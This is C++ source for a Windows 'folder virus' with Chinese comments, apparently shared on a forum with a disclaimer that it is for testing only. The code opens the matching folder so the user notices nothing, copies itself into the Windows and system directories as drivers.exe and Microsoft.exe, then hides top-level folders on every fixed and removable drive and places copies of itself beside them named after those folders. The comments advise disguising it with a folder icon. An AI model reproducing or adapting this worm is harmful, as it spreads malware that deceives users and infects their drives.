// bootmgr.cpp : Defines the entry point for the console application.
//本例仅供测试使用,严禁用于病毒制作,若因为制作病毒,产生的一切后果由自己负责
//文件夹病毒部分源码,即生成与文件夹相同名称的病毒,图标资源替换为文件夹图标即可-----转载时注名meryal制作
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
#include <io.h>
char* GetCurrentName()
{
char FullPath[255]={0};
char CurrentDir[255]={0};
char Name[255]={0};
int DirLen=0;
int PathLen=0;
::GetModuleFileName(NULL,FullPath,255);
::GetCurrentDirectory(255,CurrentDir);
DirLen=strlen(CurrentDir);
PathLen=strlen(FullPath);
for(int i=0;i<=255;i++)
{
if(i<PathLen-DirLen-4)
Name[i]=FullPath[DirLen+i];
else
{
Name[i]='\0';
break;
}
}
return Name;
}
int main(int argc, char* argv[])
{
////双击打开同名文件夹
char filename[255];
char cmd[255];
strcpy(filename,GetCurrentName());
if((strcmp(filename,"新建文件")==0)||(strcmp(filename,"Microsoft")==0))
{
char drive[255]={0};
::GetCurrentDirectory(255,drive);
drive[2]='\0';
strcpy(cmd,"explorer ");
strcat(cmd,drive);
::WinExec(cmd,SW_MAXIMIZE);
::Sleep(10000);
}
else
{
strcpy(cmd,"explorer ");
strcat(cmd,filename);
::WinExec(cmd,SW_SHOWMAXIMIZED);
}
////////////////////拷贝文件
char exepath[255]={0};
char tempath[255]={0};
::GetSystemDirectory(exepath,255);
strcat(exepath,"\\Microsoft.exe");
::GetWindowsDirectory(tempath,255);
strcat(tempath,"\\drivers.exe");
////拷贝文件到临时目录
::CopyFile("新建文件.exe",tempath,FALSE);
////若系统目录无文件则拷贝临时文件到系统目录
if( (_access( exepath, 0 )) == -1 )
{
::CopyFile(tempath,exepath,FALSE);
}
////查找目录,拷贝文件
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
char chdr[4]="A:"; //用来判断磁盘类型的盘符
char CopyName[255]; //和文件夹同名的exe文件名
char Drv[255]={0}; //驱动器盘符
char findpath[255]={0}; //用来查找文件夹的通配符
char RootDrv[255]={0}; //根目录如"C:\"
char Dirpath[255]={0}; //文件夹完整路径,用来设置其属性
for(chdr[0]='A';chdr[0]<='Z';chdr[0]++)
{
if(::GetDriveType(chdr)==DRIVE_REMOVABLE||::GetDriveType(chdr)==DRIVE_FIXED)
{
strcpy(Drv,chdr);
printf("%s\n",Drv);
strcpy(findpath,Drv);
strcat(findpath,"\\*.*");
printf("%s\n",findpath);
hFind = ::FindFirstFile(findpath, &FindFileData);
if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
strcpy(RootDrv,Drv);
strcat(RootDrv,"\\");
strcpy(Dirpath,Drv);
strcat(Dirpath,"\\");
strcat(Dirpath,FindFileData.cFileName);
::SetFileAttributes(Dirpath,FILE_ATTRIBUTE_HIDDEN);
strcpy(CopyName,FindFileData.cFileName);
strcat(CopyName,".exe");
strcat(RootDrv,CopyName);
strcat(filename,".exe");
printf("%s\n",filename);
::CopyFile(filename,RootDrv,FALSE);//////////拷贝相同文件名
strcpy(Drv,chdr);
}
while(FindNextFile(hFind,&FindFileData))
{
if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
strcpy(RootDrv,Drv);
strcat(RootDrv,"\\");
strcpy(Dirpath,Drv);
strcat(Dirpath,"\\");
strcat(Dirpath,FindFileData.cFileName);
::SetFileAttributes(Dirpath,FILE_ATTRIBUTE_HIDDEN);
strcpy(CopyName,FindFileData.cFileName);
strcat(CopyName,".exe");
strcat(RootDrv,CopyName);
strcpy(filename,GetCurrentName());
strcat(filename,".exe");
printf("%s\n",filename);
::CopyFile(filename,RootDrv,FALSE);
strcpy(Drv,chdr);
}
}
FindClose(hFind);
}
}
::Sleep(10000);
return 0;
}